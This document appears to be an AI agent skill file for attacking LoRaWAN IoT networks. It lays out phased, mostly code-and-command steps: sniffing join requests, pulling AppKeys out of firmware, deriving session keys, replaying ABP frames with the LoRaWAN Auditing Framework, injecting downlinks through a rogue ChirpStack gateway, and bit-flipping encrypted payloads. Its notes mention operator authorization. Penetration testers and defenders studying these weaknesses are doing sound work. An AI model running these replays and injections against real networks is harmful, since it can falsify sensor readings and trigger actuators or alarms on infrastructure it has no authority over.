| name | lorawan-otaa |
| description | LoRaWAN OTAA join-procedure analysis (DevEUI/AppEUI/AppKey extraction), frame-counter replay on ABP devices, downlink injection via rogue gateway, bit-flipping on unprotected FRMPayload, and network enumeration with ChirpStack and the LoRaWAN Auditing Framework. |
| allowed-tools | Bash Read Write |
| metadata | {"subdomain":"iot","when_to_use":"LoRaWAN, OTAA, ABP, AppKey, DevEUI, AppEUI, JoinEUI, frame counter, replay, downlink injection, ChirpStack, LoRa, LoRaWAN auditing framework, gateway, bit flip, ABP replay","tags":"lorawan, otaa, abp, lora, iot, replay, downlink, chirpstack, iot-embedded","mitre_attack":"T1040, T1557, T1190, T1499.004"} |
LoRaWAN OTAA / ABP Security Assessment
LoRaWAN is deployed globally for smart meters, asset tracking, agriculture,
and industrial sensors. OTAA (Over-The-Air Activation) derives session keys
per join; ABP (Activation By Personalization) hardcodes them. Both have
documented attack surface: OTAA AppKeys are often extracted from the device
firmware or exposed via insecure provisioning, and ABP devices commonly
disable the frame-counter check, enabling full replay.
Prerequisites
- Hardware: LILYGO TTGO T-Beam (SX1276 + GPS, programmable SDR-LoRa node),
RAK831 / RAK2247 gateway concentrator, or HackRF One with gr-lora.
RTL-SDR is receive-only (works for capture on EU 868 MHz).
- Software: ChirpStack (rogue gateway NS),
lorawansniffer / gr-lora,
LoRaWAN Auditing Framework (LAF), Scapy-LoRa, lorawan-parser.
git clone https://github.com/IOActive/laf
cd laf && pip install -r requirements.txt
git clone https://github.com/rpp0/gr-lora
cd gr-lora && mkdir build && cd build && cmake .. && make && sudo make install
pip install lorawan-parser
LoRaWAN Frequency Reference
| Region | Uplink (MHz) | Downlink (MHz) | Spreading Factors |
|---|
| EU868 | 868.1, 868.3, 868.5 | 869.525 | SF7–SF12 |
| US915 | 902.3–914.9 (8 ch) | 923.3–927.5 | SF7–SF10 |
| AU915 | 915.2–927.8 | 923.3–927.5 | SF7–SF12 |
| AS923 | 923.2, 923.4 | 923.2, 923.4 | SF7–SF12 |
Phase 1: Passive Air Capture
rtl_sdr -f 868100000 -s 1000000 -g 40 /tmp/lora_raw.iq
python3 gr-lora/apps/rx_file.py --freq 868.1e6 --sf 7 --bw 125000 \
--input /tmp/lora_raw.iq --output /tmp/lora_frames.txt
screen /dev/ttyUSB0 115200
LAF spectrum scan (scans all EU868 channels across SF7-SF12):
python3 laf/laf.py scan --freq 868.1,868.3,868.5 --sf all --bw 125 \
--device /dev/ttyACM0 | tee /tmp/laf_scan.txt
Phase 2: OTAA Join Analysis
OTAA JoinRequest contains DevEUI (8 bytes), AppEUI/JoinEUI (8 bytes),
and DevNonce (2 bytes), all in plaintext. Only the MIC is keyed with AppKey.
python3 - <<'EOF'
from lorawan import LoRaWANMessage
payload_hex = "00AABBCCDDEEFF001122334455667701234501"
msg = LoRaWANMessage.from_hex(payload_hex)
print(f"MType: {msg.mhdr.mtype}")
print(f"AppEUI: {msg.join_request.app_eui.hex()}")
print(f"DevEUI: {msg.join_request.dev_eui.hex()}")
print(f"DevNonce: {msg.join_request.dev_nonce.hex()}")
EOF
AppKey extraction from firmware (if binary is available):
binwalk -eM firmware.bin
python3 - <<'EOF'
import re, sys
dev_eui = bytes.fromhex("AABBCCDDEEFF0011")
fw = open("_firmware.bin.extracted/0.bin", "rb").read()
offset = fw.find(dev_eui)
if offset >= 0:
print(f"DevEUI at 0x{offset:08x}")
print(f"Surrounding 48 bytes: {fw[offset-16:offset+32].hex()}")
EOF
Phase 3: AppKey Brute-Force / Known-Key Verification
With a known AppKey, verify and derive session keys:
import hmac, hashlib
from Crypto.Cipher import AES
APP_KEY = bytes.fromhex("2B7E151628AED2A6ABF7158809CF4F3C")
def verify_join_request_mic(phypayload: bytes, app_key: bytes) -> bool:
"""Verify MIC of LoRaWAN JoinRequest. MIC = CMAC(AppKey, MHDR||AppEUI||DevEUI||DevNonce)[0:4]"""
from Crypto.Hash import CMAC
msg = phypayload[:-4]
claimed_mic = phypayload[-4:]
cobj = CMAC.new(app_key, ciphermod=AES)
cobj.update(msg)
return cobj.digest()[:4] == claimed_mic
def derive_session_keys(app_key: bytes, app_nonce: bytes, net_id: bytes, dev_nonce: bytes):
"""Derive NwkSKey and AppSKey from OTAA join-accept parameters."""
def aes_ecb(key, data):
return AES.new(key, AES.MODE_ECB).encrypt(data)
nwk_s_key = aes_ecb(app_key, b'\x01' + app_nonce + net_id + dev_nonce + b'\x00'*7)
app_s_key = aes_ecb(app_key, b'\x02' + app_nonce + net_id + dev_nonce + b'\x00'*7)
return nwk_s_key, app_s_key
Phase 4: ABP Replay (Frame-Counter Disabled)
ABP devices that disable frame-counter replay protection (FCnt check = off)
will process any replayed uplink frame:
python3 laf/laf.py replay \
--payload <captured_phypayload_hex> \
--freq 868.1 --sf 7 --bw 125 \
--device /dev/ttyACM0 \
--count 5
Detect FCnt check status:
- If the NS accepts two frames with the same FCnt → check is disabled.
- Send an older FCnt (FCnt-1) — if accepted, ABP FCnt is not enforced.
Phase 5: Downlink Injection via Rogue Gateway
Set up a ChirpStack rogue gateway to inject downlinks to a device whose
AppSKey is known (from extracted firmware or OTAA with known AppKey):
git clone https://github.com/brocaar/chirpstack-docker
cd chirpstack-docker && docker-compose up -d
curl -s -X POST "http://localhost:8080/api/devices/${DEV_EUI}/queue" \
-H "Grpc-Metadata-Authorization: Bearer ${JWT_TOKEN}" \
-H "Content-Type: application/json" \
-d '{"deviceQueueItem": {"confirmed": false, "fPort": 1, "data": "AQIDBA=="}}'
Craft raw downlink with known AppSKey (ABP or derived from OTAA):
from Crypto.Cipher import AES
def encrypt_frmpayload(app_s_key: bytes, dev_addr: bytes, fcnt: int,
direction: int, plaintext: bytes) -> bytes:
"""LoRaWAN AES-128-CTR FRMPayload encryption."""
k = len(plaintext)
blocks = (k + 15) // 16
s = b""
for i in range(1, blocks + 1):
ai = (b'\x01' + b'\x00'*4 + bytes([direction]) +
dev_addr[::-1] +
fcnt.to_bytes(4, 'little') +
b'\x00' + bytes([i]))
s += AES.new(app_s_key, AES.MODE_ECB).encrypt(ai)
return bytes(a ^ b for a, b in zip(plaintext, s[:k]))
Phase 6: Bit-Flip Attack on Unconfirmed Uplinks (ABP, no MIC validation)
When ABP NwkSKey is known, craft MIC for a bit-flipped FRMPayload to alter
plaintext content (e.g., sensor reading reported to cloud):
ciphertext = bytearray(encrypted_payload)
ciphertext[TARGET_BYTE] ^= FLIP_MASK
Evidence
EVIDENCE="/workspace/evidence/lorawan-otaa/$(date +%Y%m%d_%H%M%S)"
mkdir -p "$EVIDENCE"
cp /tmp/lora_frames.txt "$EVIDENCE/"
cp /tmp/laf_scan.txt "$EVIDENCE/"
sha256sum "$EVIDENCE"/* >> "$EVIDENCE/sha256.txt"
kg_add_node(
kind="finding",
label=f"LoRaWAN AppKey extracted for DevEUI={dev_eui_hex}",
props={
"key": f"lorawan-otaa::{dev_eui_hex}",
"dev_eui": dev_eui_hex,
"app_eui": app_eui_hex,
"app_key": app_key_hex,
"abp_fcnt_disabled": abp_fcnt_disabled,
"source": "firmware-extraction+laf",
},
)
OPSEC Notes
- OTAA capture is passive — no RF emission. RTL-SDR or TTGO sniffer only.
- Replaying to a live NS will generate real device state changes (actuators,
alarms). Gate replay tests on explicit operator authorization.
- A rogue gateway is detectable by the NS if geo-location of the gateway IP
differs from the registered GPS position.
- LoRaWAN 1.1 adds replay protection and frame-counter synchronization that
mitigates ABP replay; verify spec version before testing.
- Downlink injection affects device behavior (firmware OTA possible on some
devices via downlink commands). Treat as destructive.
References